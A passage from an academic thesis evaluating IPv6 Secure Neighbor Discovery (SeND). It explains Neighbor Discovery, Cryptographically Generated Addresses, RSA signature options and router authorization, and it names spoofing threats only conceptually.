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ABSTRACT 
The DoD is expected to transition to IPv6 networking within the next few years.  
The IPv6 Neighbor Discovery Protocol is responsible for autoconfiguration and neighbor 
address resolution which establishes hosts on the network and allows communication 
between hosts.  IPsec, the default security mechanism for IPv6, does not allow for 
automatic protection of the autoconfiguration process. Thus, the Secure Neighbor 
Discovery Protocol (SeND) was created.  SeND uses Cryptographically Generated 
Addresses (CGA) and asymmetric cryptography as a first line of defense against attacks 
on integrity and identity.  It claims to achieve mutual authentication of hosts and routers 
without the need for a Certification Authority (CA).  This thesis evaluates this claim by 
building a test-bed of SeND enabled hosts. The major findings include: (i) SeND does 
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The DoD expects to transition to IPv6 networking within the next few years.  
IPv6 is a suite of protocols designed to replace what most of us know as the Internet.  The 
sheer scale and complexity of these protocols have caused the dates of transition to have 
come and passed, as the people and the infrastructure are not ready for the implications.  
IPv6 is a complete redesign focusing on eliminating the weaknesses of its predecessor, 
IPv4.  This thesis concentrates on a protocol for securing the Neighbor Discovery (ND) 
protocol.  ND’s main functions are autoconfiguration and neighbor address resolution [1].  
The first allows a new host on the network to obtain an address to use, as well as an 
address of a router to be able to reach hosts outside of its network.  Neighbor address 
resolution is responsible for identifying other hosts and their addresses on the local 
subnet.  ND is every computer’s first step on the way to full connectivity.   
IPsec, the native security mechanism for IPv6, does not allow for automatic 
protection of the autoconfiguration process [2].  Thus the Secure Neighbor Discovery 
(SeND) protocol was created.  SeND uses Cryptographically Generated Addresses 
(CGA) [3] and asymmetric cryptography as a first line of defense against attacks on 
integrity and authentication.  SeND claims to mutually authenticate hosts and routers 
without the need for a Certification Authority.  This thesis empirically studies the 
veracity of this claim by examining the underlying protocols, software, and cryptography 
involved, as well as their practical considerations. 
The Basic Security Theorem of Bell-LaPadula [4] states that in order for a subject 
to be considered secure, it must be secure in the initial state, and perform transformations 
only from one secure state to another.  This is a very general principle, but when applied 
to a computer network, it implies that secure hosts must communicate only with other 
secure hosts, or there is a potential for breaking the sequence of secure states by 
communication with an insecure, potentially hostile host.  The challenge particular to the 
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ND protocol is that when a host first joins a new network, it does not know who all the 
other nodes are, or how to judge the integrity of other hosts. 
B. SCOPE OF THESIS 
The primary focus of this thesis is to verify the feasibility and security of a 
widespread SeND deployment on Local Area Networks (LAN).  To achieve the goal of 
this thesis, a small LAN must be deployed using common hardware and software, 
simulating a typical deployment scenario.  The only available SeND implementation is 
still in early stages of development, and works exclusively with Linux 2.6 or FreeBSD 
5.4 and later, thus both of these operating systems must be involved in this experiement.  
There is also a Java implementation called JSeND on SourceForge but no code has been 
released and the project website is empty, suggesting a defunct project. 
SeND has two main modes of operation:  the true zero-configuration mode, and 
mode in which trust is distributed in a delegated/hierarchical structure using either 
certificates, or a root trust concept.  The latter mode has not been investigated in greater 
depth in this research, as it diverges from a pure--human intervention free--
autoconfiguration.  More importantly, the security problems discussed in this thesis exist 
under both modes of operation. 
C. RESEARCH QUESTIONS 
The two main documents about SeND, [2] and [3], give bold statements about 
proof-of-identity and proof-of-possession of the private key.  Is SeND a true solution to 
these problems?  Is the combination of hashing and asymmetric cryptography a valid 
mechanism to provide authentication and integrity at the packet level?  How practical is 
SeND in the simulated environment?  Is SeND a true improvement in security over the 
regular ND protocol?  This thesis addresses these questions through a series of 
experiments with a simple SeND test bed. 
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D. ORGANIZATION OF THESIS 
SeND is a difficult protocol to understand.  A few fundamental networking and 
security related concepts must be explained in order to understand SeND.  Chapter II will 
begin with a discussion of the IPv6 basics, and how the old IPv4 address resolution 
schemes were re-implemented to fit the new addressing and organizational paradigms.  
Then we will take a look at what makes ND an important step in the lifetime of a host on 
an IPv6 network, and what problems have been encountered already.  Then we will 
explore how SeND proposes to deal with these problems.  With theory out of the way, in 
Chapter III we can discover how SeND works on a real network, and what old problems 
can be considered solved.  Chapters IV and V are concerned with experiments exploring 
the finer details of SeND, and finding new weaknesses.  Eventually we will demonstrate 
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II.  BACKGROUND 
In this chapter, we will first briefly touch upon the most widespread way of 
autoconfiguration in IPv4—Dynamic Host Configuration Protocol (DHCP) [5].  The 
problems stemming from the design of DHCP will let us understand the design goals 
behind autoconfiguration protocols of IPv6.  After introducing both the addressing 
schemes of IPv6 and the ND protocol, we give an overview of the Secure Neighbor 
Discovery (SeND) protocol. 
A. IPV4 AUTOCONFIGURATION 
On a traditional IPv4 network, a host by itself does not get assigned an IP address.  
Every networking interface has to have an address manually assigned by a human, or 
retrieved from the DHCP daemon.  DHCP, while not an official part of the TCP/IP suite, 
has become a de facto standard, and is enabled by default in just about all modern 
operating systems.  The initial DHCP exchange utilizes a broadcast/response mechanism.  
At the beginning, a DHCP client does not yet have an IP address and does not know the 
IP address of any DHCP servers.  The client sends a DHCPDISCOVER broadcast with a 
source IP address of 0.0.0.0 and the destination address of 255.255.255.255.  The server 
responds to the MAC address of the DHCPDISCOVER’s sender with a DHCPOFFER 
message including parameters like the IP address and subnet of the proposed lease, the 
length of the lease, and the real IP address of the DHCP server.  There is no 
authentication on either end, and as such, it is easy to operate rogue DHCP servers, 
propagating misinformation to clients. 
Address resolution in IPv4 is about determining the media access control (MAC) 
or “physical” address of a host given the host’s IP address, and it is required only when 
the target host is within the same subnet as the sender.  It operates as follows.  The sender 
broadcasts an Address Resolution Protocol (ARP) [6] broadcast to the entire subnet, 
asking, "Who is 1.2.3.4?  Tell 5.6.7.8."  The ARP server of the target system which has 
the IP address of 1.2.3.4 forms an ARP response with, "1.2.3.4 is 
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AA:BB:CC:DD:EE:FF", where AA:BB:CC:DD:EE:FF is the MAC address of that 
computer.  This packet is sent unicast to the address of the computer sending the ARP 
query (in this case 5.6.7.8).  Since the original query also included the MAC address of 
the requesting computer, further address resolution is unnecessary.  On the picture below 
we see a typical packet exchange with a ping command triggering an ARP broadcast-
reply sequence before the actual ping can commence. 
 
 
Figure 1.   Typical ARP packet exchange. From [7] 
 
B. IPV6 AUTOCONFIGURATION 
IPv6 replaces ARP and DHCP with a mechanism completely built into the IPv6 
specifications, thus no longer needing any special daemons or extra configuration from 
administrators.  This mode is called stateless autoconfiguration.  There is also a stateful 
autoconfiguration mechanism called DHCPv6, but it is more of an extension of the old 
protocol, and thus not a focus of this thesis.  Autoconfiguration is an integral part of IPv6.  
In order to understand the subtleties, we will reexamine IPv6’s new approach to 
addressing, multicasting, Neighbor Discovery, and eventually explore in detail ND’s 
secure augmentation, SeND. 
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1. IPv6 Addressing Schemes 
The most visible change distinguishing IPv4 from IPv6 is the addressing [8].  The 
expansion from 32- to 128-bit addresses changes the way we use and think of IP 
addresses.  In IPv4, all 32 bits of an address are used for actual enumeration of hosts on 
the network.  Most of the time, we split these 32-bit addresses into network and host 
portions with subnetting for ease of network management, but ultimately all the bits are 
used for host enumeration.  In IPv6, with a massive 128 bits of addressing space at our 
disposal, it is possible to sacrifice some of the addressing space for the sake of 
management, readability, features, and extra functionality. 
The mechanism explored and exploited in this thesis, autoconfiguration, is 
another huge change.  IPv6 designers’ goal is to be able to attach a computer to a new 
network and have it automatically obtain all the information needed for full connectivity.  
To achieve this, the entire notion of how autoconfiguration is done needed to be 
rethought.  Achieving the new goal of zero-configuration seems to have played a great 
role in forming the design for IPv6 addressing as well as the general idea of how 
networks should be topographically organized.  Clever addressing schemes and a heavy 
use of multicasting are the basis for autoconfiguration in IPv6.  To see how all these 
goals were achieved, we should start by taking a brief look at how autoconfiguration 
works in IPv6. 
At the onset of the autoconfiguration process in IPv4, a host does not gain an 
address beyond loopback, and does not know anything about its neighbors or 
neighborhood.  Hosts are limited to what they can retrieve with ARP broadcasts, thus 
severely limiting their initial connectivity.  Computer scientists often introduce a layer of 
abstraction when facing a design pattern where an object is not always there, but must 
always be accounted for.  In this case the IPv6 designers solved the limited initial 
connectivity problem by giving each active network interface a default IPv6 address 
called the link-local address.  This address is fully functional within the local segment.  
Hosts can use this address to communicate with other hosts on the same network 
segment, but routers are prohibited from forwarding any packets with a link-local 
 8
address.  This special address is a stepping stone toward full inter-network connectivity.  
Let’s take a closer look at the creation of such an address.  The 128-bit address consists 
of two 64-bit portions:  a special link-local prefix (FE80::/10) and an Extended Unique 
Identifier (EUI-64) interface identifier. 
 
 
Figure 2.   Converting a MAC address into EUI-64 Interface Identifier. From [9] 
 
As we can see in the picture above, EUI-64 is a MAC address, slightly modified 
for the needs of IPv6 addressing.  The two 24-bit halves of the MAC address are split and 
the middle 16 bits are filled with FFFE.  The 7th bit of the interface identifier signifies 
whether the address is global (0) or local (1).  The 8th bit is called the group bit; and it 
signifies whether the address is unicast (0) or multicast (1).  These bits can change the 
first 24 bits of a MAC address, also referred to as the Organizationally Unique Identifier 
(OUI).  Once the EUI-64 is constructed, it is attached to the end of the link-local prefix.  
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The example in the picture above results in 
FE80:0000:0000:0000:3BA7:94FF:FE07:CBD0.  This is a legal link-local address for a 
network card with MAC of 39:A7:94:07:CB:D0.  A few fundamental differences 
between a link-local address and the IPv4 localhost should be noted: 
• Every network card will be set to the same link-local address regardless of 
the network location, but unique to each MAC address assigned to the network interface. 
• It will always be the same address, and as such is traceable. 
• The IPv6 local address is fully functional within its network; you can 
communicate with it from other computers, unlike its IPv4 localhost counterpart. 
• Assuming that the MAC address has not been reprogrammed, EUI-64 and 
thus the link-local address are automatically unique, a benefit of starting with naturally 
unique MAC addresses.  This guarantees no address collisions. 
• The entire process occurs without any communications with other hosts, 
thus it has not leaked information to every host on the segment. 
• Hosts with link-local addresses are able to communicate with other hosts 
on the segment with zero human interaction beyond enabling IPv6 networking. 
One should think of the link-local address as an initial default address.  A host 
gains a legal, fully functional, collision-free address on a network segment, and thus can 
establish connectivity with other hosts on the network.  One downfall of this approach is 
that the one-to-one mapping between the MAC and link local addresses.  If a host 
continues using a link-local address, the IP is permanently bound to this computer, and as 
such can be easily identified and tracked.  To some this is a management feature; to 
others it is a loss of privacy, and a potential source of information leakage.  Such 
concerns can be addressed with Cryptographically Generated Addresses, which we will 
discuss in later sections. 
Routers follow a very similar routine when establishing themselves on the 
network.  The difference is that they do not participate in the autoconfiguration process.  
Routers use the link-local address as an identifier, but must have at least one valid, 
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unique, routable IP per interface.  They also automatically join an all-routers multicast 
group (FF02::2) and enable packet forwarding. 
Since a router is naturally multi-homed, it must use one of its link-local addresses 
as its identifier, or every interface would reply differently, causing confusion on the 
network.  Upon receiving a Router Solicitation (RS) from a host, routers send out Router 
Advertisement (RA) messages with their FE80:: address because regardless of how many 
interfaces and prefixes a given router serves, it will announce itself with only one 
address.  Since the FE80:: addresses are not attached to any particular interfaces, routers 
must know the correct interface to direct the packets to.  Using the link-local address as 
both identification and a pseudo-interface at the same time is a peculiar solution, but it is 
reliable and accepted by all IPv6 implementations. 
It is common to have multiple valid addresses on each Network Interface Card 
(NIC) in IPv6.  For example, link-local, assigned unicast, solicited-node multicast, and 
all-nodes multicast addresses are automatically bound to interfaces.  Despite the ability to 
be identified by many IP addresses, the host presents itself with just one link-local 
address. 
A special multicast address worth mentioning in the context of this thesis is 
FF02:0:0:0:0:1:FF00::/104.  This multicast group is called the solicited-node address, and 
it is conceptually closest to IPv4’s ARP broadcasting.  It is created by attaching the last 
six bytes of the MAC address to the FF02::1:FF/104 prefix.  For example, the solicited 
node multicast address corresponding to the IPv6 address 4037::01:800:200E:8C6C is 
FF02::1:FF0E:8C6C.  To perform Duplicate Address Detection (DAD), every address 
has a special corresponding multicast address [10]. 
When a host first creates a tentative IPv6 address, it must detect and resolve 
address collisions on the subnet.  DAD is the process of turning a tentative IPv6 address 
into a verified one.  This procedure is achieved by sending a Neighbor Solicitation (NS) 
message to the solicited-node multicast of the target address [10].  While the main source 
IPv6 address is set to unspecified (::), the packet is specially crafted with the tentative 
IPv6 in the target field.  Each interface on the segment must receive and process packets 
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sent to the all-nodes multicast or solicited-node multicast of the tentative address.  The 
requesting node must not respond to its own NS for a tentative address.  To send an NS, 
the querying interface must both join the all-nodes and solicited-node multicast groups of 
the tentative address.  The solicited-node multicast group allows reception of an NA 
packet from address colliding hosts; it also allows two nodes to detect the use of the same 
address by another host on the network.  When a collision occurs, the host with an 
established, non-tentative address sends back an NA message to the requestor’s solicited-
node address announcing the collision.  If a collision is detected, the host will perform 
DAD up to two more times, after which a warning must be written to the system log and 
the interface attempting to autoconfigure should be disabled.  If collision is not detected, 
the address in question is considered unique and is assigned to the interface.  This is the 
autoconfiguration portion of the protocol. 
When a host receives a Router Advertisement (unsolicited or as a result of Router 
Solicitation), it proceeds to create an IPv6 address appropriate for the advertised network 
prefix.  This address is created by attaching the advertised prefix to the EUI-64 Interface 
Identifier already used in the link-local address.  Due to the earlier uniqueness 
verification of the EUI-64 as a part of the link-local address, it is also considered to be 
unique for the routable address.  There is no need to perform another DAD exchange, but 
it is optional.  At this moment in the host’s life, its interface contains both the link-local 
and the routable addresses. 
The next step for the host is to obtain information about its neighbors through 
Neighbor and Router Discovery. 
2. Neighbor Discovery 
Neighbor Discovery (ND) is one of the most important functions of ICMPv6.  As 
an ARP replacement, it is responsible for finding other hosts on the segment.  Regular 
ND specifications do not include any security provisions.  Nodes can make any claims 
about who they are, as long as they belong to the right multicast group.  Most multicast 
group memberships are assigned automatically, and without any human intervention 
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needed.  In IPv6, a host automatically gains some privileges when it has an address.  
Therefore, the security design for IPv6 is based more on the networking topography than 
a logical set of privileges and limitations:  everyone outside the security perimeter is 
considered a potential attacker, but insider threats are not considered.   
ND messages are implemented as a set of ICMPv6 Types and Options, like 
redirection or a ping service.  ICMPv6’s Option field [11] provides a generic interface 
allowing to extend ICMP’s functionality.   For example, Source Link Layer Address 
(SLLA) is an option type 1 and Target Link Layer Address (TLLA) is an option type 2.  
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Table 1.   ICMPv6 codes, names and endpoint functionality. From [10], [11] 
 
As mentioned before, the traditional broadcast-response exchanges can lead to a 
huge information leak, e.g., involuntarily updating everybody on the local network about 
hosts coming online or requesting connectivity to specific hosts.  IPv6 addressed this 
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issue by replacing the entire mechanism with a new one, based on ICMPv6 packets 
multicast to specific addresses.  This was a safe assumption when the LAN was clearly 
delineated from the WAN and everyone on the internal network could be trusted.  Today, 
we cannot assume that being on the same network with other hosts means they are 
trustworthy.  Rogue wireless access points, tunneling, extranets, and VPNs potentially 
put us on the same network with hosts over whom we have no control, and there is no 
verification of their identity or integrity of operations. 
One of the most common assumptions about IPv6 is that it is designed to be 
secure.  Such assumptions are a result of incorporating IPsec Authentication Headers into 
the IPv6 protocol suite, as opposed to IPv4 where IPsec is a separate system.  While this 
is true, IPsec itself has many problems, mostly stemming from the nature of the 
asymmetric key cryptography it uses [12], [13].  For example, the implementation of a 
process responsible for securely transporting the keys has eight different modes of 
operation.  Some key exchanges can be done automatically; others must have a manual 
element.  One of the goals of autoconfiguration is to have the entire process occur 
automatically and without any human interaction.  The automatic key exchanges can 
occur only between hosts with already established IPv6 addresses.  This thesis 
concentrates on the earliest stages of a host’s lifespan, when a host does not yet have a 
valid address, and is trying to establish itself on the new network.  In such a case, IPsec is 
not capable of performing an automatic key exchange, thus requiring manual 
configuration.  This is the main motivation behind creating an entirely new way of 
protecting the autoconfiguration. 
3. Secure Neighbor Discovery 
The Secure Neighbor Discovery (SeND) protocol [2], [3] proposes to address the 
insider threats discussed above.  The main idea behind SeND is to use asymmetric 
cryptography to enforce authentication and integrity without changing the zero 
configuration paradigm of the regular ND protocol.   
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Figure 3.   Logical placement of SeND in IPv6. 
 
IPsec is supposed to be the solution to IP protocol-based security needs, but it 
faces many practical problems, such as the initial key distribution [12].  Internet Key 
Exchange (IKE) is an implemented infrastructure to support IPsec’s needs for transport of 
keys, but it requires IPv6 connectivity to work.  While this is a reasonable requirement 
for regular traffic, it is unusable when performing autoconfiguration.  Thus, the security 
of autoconfiguration must be done outside of the officially supported IPsec infrastructure.  
Usually, the verification of another host’s authenticity requires a highly secure central 
Certification Authority (CA).  SeND attempts to establish authenticity without the CA 
[14], [15]. 
A major question associated with using asymmetric cryptography is how to obtain 
another host’s public key in an authenticated manner.  Secure Socket Layers (SSL) 
protecting the web traffic is an example of a solution implementing large distributed-
security hierarchy among an uncontrollable number of computers with unpredictable 
integrity.  Certificates for a small number of root Certificate Authorities are distributed 
with the browsers, allowing sites using these selected companies to verify their 
certificates with no required interaction on the client’s side.   There is a twofold problem 
in bringing a similar approach to protecting lower networking layers as a part of IPv6 
security.  The first problem is that of momentum.  Unlike enhancements of the Web, IPv6 
networking has no appeal to a regular user, as it does not provide any instantly observable 
improvements.  IPv6 is still very new and esoteric; IPv6-aware software is still scarce.  
Without a major commercial demand, CA’s will not provide certificates to a small project 
like the SeND protocol implementation.  The second problem is a major paradigm shift.  
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Asymmetric cryptography has been historically used to protect data, by working at the 
highest layers of the OSI model.  SeND uses asymmetric cryptography at the lower 
layers, which is a very novel idea.  Therefore, a whole different approach to the public 
key exchange and mutual authentication was conceived. 
SeND, since it is an augmentation of the ND protocol, also encodes its messages 
in ICMPv6by creating a few new Option Types shared among the already existing ND  
 
messages.  For example, a regular Neighbor Solicitation message can be augmented with 
CGA, RSA, Timestamp, and Nonce options, creating a SeND packet.  Here are the 
Options important to this project: 
 
Option Type Description 
1 Source Link Layer Address 
2 Target Link Layer Address 
11 Cryptographically Generated Address 
Option 
12 RSA Signature Option 
13 Timestamp Option 
14 Nonce Option 
15 Trust Anchor 
16 Certificate Option 
Table 2.   ICMP Option Types. 
 
SeND can use third parties as verifiers of hosts’ identity claims.  This process is 
referred to as the Authentication Delegation Discovery [2].  To begin such a process, a 
host needs to know a Trust Anchor to confirm that a given router is authorized to perform 
router duties.  This is a feature without a corresponding ND function, and to 
accommodate it the SeND protocol implements two new ICMPv6 Message Types: 
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Message Name Goal ICMP 
Code 






Path to the 
Trust Anchor 
148 Nodes All routers (multicast), or 
Solicited Node (multicast) 



















Table 3.   SeND related ICMPv6 codes. 
 
Two new Options also further expand SeND’s functionality.  The Trust Anchor and The 
Certificate Option must contain a DER Encoded X.501 Name, or a Fully Qualified 
Domain Name [16]. 
a. Cryptographically Generated Address (CGA) 
A CGA can be used either as a name for a Cryptographically Generated 
Address, or the ICMPv6 Option.  Both are at the foundations of SeND, but in this section 
we are concerned with the first meaning.  CGA looks like a regular IPv6 address with 
two 64-bit portions.  The first 64 bits are the network prefix portion, announcing the 
subnet number.  The second portion is the Interface Identifier, which is derived using a 
SeND specific process.  This process will be explained in more detail in the next section. 
 
   sec sec sec     u g   
0 … 63 64 65 66 67 68 69 70 71 72 … 127 
Network Prefix Interface Identifier 
Figure 4.   Top level view of CGA. 
 
The fact the CGA is a result of a hash function poses two problems.  64 bit 
hash tables are not big enough to be unbreakable for modern computers, and it will only 
get worse with time.  SeND overcomes this limitation by introducing a 3-bit hash 
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extension called the Sec bits, which will be discussed in detail in the CGA generation 
section.  The second problem is that the hash function generates a meaningless stream of 
characters, while certain bits in the IPv6 address have meaning, and therefore the CGA 
must be altered to create IPv6 legal address. 
In IPv6, bits 7 and 8 of an Interface Identifier are special flags.  Bit 7 
signifies whether the address is universal or local and is popularly referred to as the ‘u’ 
bit.  Bit 8 is called the ‘group bit’ as it is set to 0 if it is a unicast and 1 if it is a multicast.  
Since there should be no global multicast addresses, a combination of u=1 and g=1 
should normally not occur.  Tuomas Aura in his “Cryptographically Generated 
Addresses” paper proposes we use this previously undefined combination to signify 
CGAs. 
The motivation behind CGA is the ability to bind the public key to an IPv6 
address.  CGA combined with the idea of digital signatures, allow SeND to claim to solve 
the ‘proof of address’ problem.  In order to understand how all these concepts play a part 
in providing authentication, let’s analyze the processes of generation and verification of a 
CGA address. 
b. CGA Generation 
A Cryptographically Generated Address appears in two places.  Most 
visibly, it is the Interface Identifier portion of the full IPv6 address when employing 
CGA.  Also, it is an ICMPv6 Option 11, which consists of the following fields: 
• Public Key as DER-encoded ASN.1 data structure of the type 
SubjectPublicKeyInfo as defined in X.509 certificate profile [16] 
• 128-bit-modifier (arbitrary numbers to increase randomness) 
• 64-bit subnet prefix of the address 
• 8-bit collision count 
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Here is a conceptual layout of the placement of different fields in the CGA 
Option in a SeND augmented IPv6 packet: 
 
IPv6 Version  
  Traffic class  
  Flow label  
  Payload  length  
  Next header  
  Hop limit  
  Src addr  
  Dst addr  
ICMPv6 Type  
  Code  
  Checksum  
  Target  
ICMPv6 options Source Link Layer address  
  CGA Option Public key 
   Modifier 
   Subnet prefix 
   Collision count 
Figure 5.   Ipv6 packet with a CGA Option. 
 
To generate a CGA, a host must create two hashes out of the parameters 
delivered in the CGA Option.  HASH2 is the leftmost 112 bits of the SHA-1 hash 
function run on concatenated fields of the modifier, subnet, collision count, and the 
public key, with the subnet and collision fields set to zero.  HASH1 is the leftmost 64 bits 
of the SHA-1 hash function run on concatenated fields of fully populated modifier, 
subnet, collision count, and the public key.   
HASH1 is going to be the Interface Identifier and must be modified to 
conform to the IPv6 address standards.  As we mentioned earlier, the 7th and 8th bits of 
HASH1 must be altered to comply with an IPv6 addressing standards. 
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There is one more modification made to HASH1.  The fixed length of 
HASH1 is dictated by the size of an IPv6 address.  This limitation has raised many 
concerns as with the exponential computing power growth, creation of the 64-bit hash 
lookup table will become trivial.  Since IPv6 was designed with great care to not be 
limited in the future, SeND designers had to strengthen the effective bit length of the 
hash, while staying within the logistical limits dictated by the IPv6 addressing.  A 
technique called ‘hash extension’ was employed to solve this problem.  In CGA’s it is 
called the Security Parameter (Sec), and it is at the first 3 bits of the Interface Identifier.   
 
64 65 66 67 68 69 70 71 72 … 127 
SEC SEC SEC         u g     
Figure 6.   Full Interface Identifier (with Sec and u/g bits) 
 
When creating HASH2, [3] calls for the 16*Sec leftmost bits of HASH2 to 
be zero.  If they are not, increment the value of a modifier by one, hash, and perform the 
comparison again until the changes to the modifier yield the desired number of leftmost 
zeros in the resulting hash.  Incrementing Sec by one adds 16 bits to the effective length 
of the hash.  Since the parameter value is encoded into the address bits, an attacker cannot 
change its value without also changing the address.  Note, that using the three Sec bits 
and the two u/g bits reduced what started as a 64-bit HASH1 to 59 bits.  However, the 
effective level of security against pre-generated CGA’s attacks is greatly improved, as 
with the maximum Sec value of seven, the biggest effective hash length increases to 
59+16*7=171 bits.  It is important to note that once the address has been created, the cost 
of using and verifying a CGA address does not depend on the value of Sec [3]. 
c. CGA Verification 
The first step of the verification process is to extract various parameters 
from the ICMPv6 CGA Option.  HASH1 and HASH2 are then calculated according to 
the same rules as described in the previous section.  With the exception of the 7th and 8th 
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bits (universal/global bits) and the first three Sec bits, the leftmost 64 bits of HASH1 
should be identical to the Interface Identifier portion of the IPv6 address.  The SeND 
daemon then compares the 16*Sec leftmost bits of HASH2 to zero.  If any of these tests 
fail the processing of this packet stops immediately and the packet is discarded. 
If both tests succeed, the public key is bound to the address of the IPv6 
packet.  The verifier knows the public key in the CGA Option field comes from the 
address the IPv6 packet claims it came from. 
This is the first step needed to establish safe public-private cryptography 
in a system without a Public Key Infrastructure (PKI) present.   
d. RSA Digital Signature Option 
Once the public key is obtained from CGA Option, the receiver can use it 
to decrypt messages encrypted with the corresponding private key.  ICMPv6 Option 12 
allows us to use RSA digital signatures to establish authenticity of such packet 
exchanges.  Here’s a list of fields contained in a RSA Signature option: 
• Key Hash—leftmost 128 bits of SHA-1 of the public key, used for 
constructing the signature 
• Digital Signature—variable length field containing PKCS#1 v1.5 [17] 
signatures, using the sender’s private key over these entities: 
o 128 bit CGA Message Tag value for SeND. 
o 128 bit Source Address from the IPv6 header 
o 128 bit Destination Address from the IPv6 header 
o 8 bit Type, 8 bit Code and 16 bit Checksum fields from the ICMPv6 
header 
o ND protocol message header, starting after the ICMPv6 checksum, 
and up to but not including ND protocol options 
o ND protocol options preceding the RSA signature option 
The signature is calculated with the RSASSA-PKCS1-v1_5 algorithm and SHA-1 hash. 
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The high number of fields involved and the multiple levels of embedding 
payloads make it difficult to keep track of which parts of the IPv6 packet are protected.  
This schematic helps in visualizing what is contained within the RSA digital signature 
option: 
 
Figure 7.   RSA Digital Signature contents. 
 
All nodes configured to use SeND must contain an RSA Signature option, 
alongside the CGA option, except for the case of an RS message with an unspecified 
source address.  All ND messages without the CGA and RSA signature options are to be 
treated as regular ND. 
There is also an option for specifying which authorization method a host 
would use.  If there is a specified option for the Trust Anchor, a valid Certification Path 
between the receiver’s Trust Anchor and the sender’s public key must be known.  Even if 
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a Trust Anchor is required, packets still must contain the CGA option.  Any combination 
of CGA or Trust Anchor authorization models is allowed, as long there is one [2]. 
e. The Authorization Model 
SeND uses CGA and RSA options together to achieve authentication.  
SeND’s authentication proves only that the owner of the given address is in possession of 
the claimed IP address and the corresponding private and public keys.  However, there is 
nothing stopping attackers from setting up their own router and keys, allowing correct 
signing and verifying of all messages.  Authentication by itself cannot prevent spoofing 
on a network without media access control.  Authorization must be employed to 
discriminate between nodes acting purely as clients, and nodes with the rights to serve 
other nodes.  SeND’s authorization schema differentiates only between routers and 
clients.  All router authorization certificates have the same level of privilege.  However, 
with a clever arrangement of multiple trust anchors allowing advertising of distinct 
subnets, it is possible to effectively achieve various levels of authorization on different 
routers. 
This is where SeND specifications diverge from what has been zero 
required preexisting infrastructure, as specific certificates must be assigned to the 
designated routers to assign router roles.  Similarly, hosts must have a list of acceptable 
Trust Anchors prior to performing autoconfiguration.  While currently not a popular 
option, SeND software should come with Trust Anchors from companies like Verisign or 
Thawte, just like the common web browsers do.  Administrators could later run their 
networks in unauthorized mode, or protect them by placing certificates on their routers. 
To achieve authorization with a SeND client, there must be a specified 
Trust Anchor option.  Anchor(s) might be specified either through the use of a CGA, or a 
public-private key pair.  If we opt for such an authorization delegation model, there must 
also be a certification path.   
Router Authorization Certificates contain at least one IP address.  Parent 
certificates in the certification path should contain at least IP address extensions, all the 
 23
way up to the trusted party that configured the original IP range for the router in question.  
Certificates for intermediate delegating authorities should contain at least one IP address 
extension for sub-delegations.  At the end of the Certification Path, the router certificate 
is signed by the delegating authority for the subnet prefixes the router is authorized to 
advertise.   
All the entries in the certificates are in X.509v3 format [16].  Address 
extensions have at least one addressOrRanges entry.  Each entry must contain an 
addressPrefix element containing an IPv6 address prefix corresponding to the routers or 
the intermediate entity authorized to perform routing duties. 
 
Figure 8.   Delegated Authority Model. 
 
Each host receiving a Router Authentication Certificate first checks 
whether the certificate’s signature was generated by the delegating authority.  Then 
clients should check if all the addressPrefix or addressRange [17] entries are a subset of 
the delegating authority’s certificate.  Another check is performed to see if an 
addressPrefix or addressRange is not contained within the delegating authority’s range.  
The client takes an intersection of the routers and delegated authority’s subnets.  If the 
intersection is an empty set, certificate should be ignored and discarded.  With such 
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extensive checking of authorizations, the possibility for a fake router to advertise a prefix 
while it has no such authorization should be eliminated. 
The entire process of finding authorization delegations is initiated by a 
SeND message called the Certification Path Solicitation (CPS), and Certification Path 
Advertisement (CPA) is its reply.  Hosts request service from routers that are authorized 
for that specific subnet, and the routers send their certificates to the hosts, proving that is 
indeed the case. 
f. SeND Operation 
Now that all major concepts and portions of SeND are explained, let’s 
quickly summarize the relationship among all the parts: 
The CGA Option delivers a public key from an IPv6 address where the 
public key originates.  This public key allows the recipient to verify the digital signature, 
effectively verifying that the public key corresponds to the private key.  The IPv6 address 
is bound to the public key.  The RSA Signature Option proves that the public key 
corresponds to the private key.  This binds the Cryptographically Generated Address and 
the two corresponding keys to the same origin.  SeND designers claim this to be the 
solution to the proof-of-address problem without a PKI.  Existing PKI implementations 
require a functional address to operate, making SeND the preferred solution.  However, 
authentication is not the only aspect of security needing to be addressed in this scenario.  
Authorization is not addressed by the CGA and RSA combination and it does not solve 
the rogue router problem.  For authorization to happen, SeND needs to employ a 
Certification Path schema, in which a preexisting knowledge of a Trust Anchor 
authorizes routers to hosts.  Hosts request proof of authorization from routers, and routers 
respond with valid certifications.  With SeND in place, all these concerns should be 
addressed.  Clients should only receive RA messages from designated routers, and clients 
should not be able to send or receive packets with spoofed IPv6 address. 
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Figure 9.   SeND operation. 
 
This approach seems to eliminate most attack vectors.  Packets with a 
spoofed CGA address would not be able to sign a message.  The nonce and timestamps 
fields further increase the difficulty of defeating this protocol by making it highly 
resistant to replaying messages.  Spoofed router advertisements would be ignored by 
clients when not in possession of a certificate to perform any router duties. 
The confidentiality is only partially addressed, with the completely 
unsecured Link Layer still being the biggest obstacle.  No harm should come from such 
design, as the only information transferred in clear text is either public already (i.e. public 
keys) or there is no danger from sending it out to even the malicious clients (i.e. nonce).  
The CGA itself is a portion of a hashing function, and as such can be only subject to 
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III. RELATED ANALYSES OF SEND 
The literature [2], [3] discussing the ND processes and the potential threats [12], 
[18] considers three major networking scenarios: 
• All authenticated nodes on a closed network with full media access control 
(i.e. LAN) 
• Trusted routers with untrusted clients not trusting other clients (i.e., a WiFi 
network) 
• Full ad hoc network with all nodes untrusted 
The first model assumes a network with a fully controlled Link Layer through 
either physical security or cryptography.  With such assumptions in place, ND would be 
executed in a secure environment, fulfilling the requirements needed to claim a secure 
state.  The downfall of such a model is that it gives no protection when the Link Layer 
security is defeated.  It also offers no means to limit the damage.  In such a scenario, 
administrators might be tempted to use IPsec’s Authentication Headers with symmetric 
keys, shared by all trusted nodes.  Such configuration is completely unprotected from the 
insider threat, as one compromised node would defeat security on all other nodes, as all 
the keys are the same.   
The second model, a public WiFi network, places trust elsewhere.  Trusted routers 
are used to authenticate and authorize themselves to all clients on the network.  At the 
same time, clients must be able to locate, communicate, and authorize to a proper router.  
Without the full control of the Link Layer, administrators cannot establish reliable 
authentication based on a hardware address, or network topology.  ND process without a 
solid authentication method can result in giving network access to malicious hosts. 
The third scenario, the ad hoc network, assumes no implied trust between any of 
the hosts on the network.  No router or neighbor advertisements should be trusted.  The 
only way to establish trust in such a scenario is to verify one’s identity against a pre-
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established trusted third party.  This means there must be at least one implicitly trusted 
host on such a network.  This violates autoconfiguration’s goal of zero-configuration. 
A. THREATS INHERENT TO ND 
This section is largely a summary of [18].  Understanding a number of different 
classes of attack will make it easier to see the causes of attacks as well as the possible 
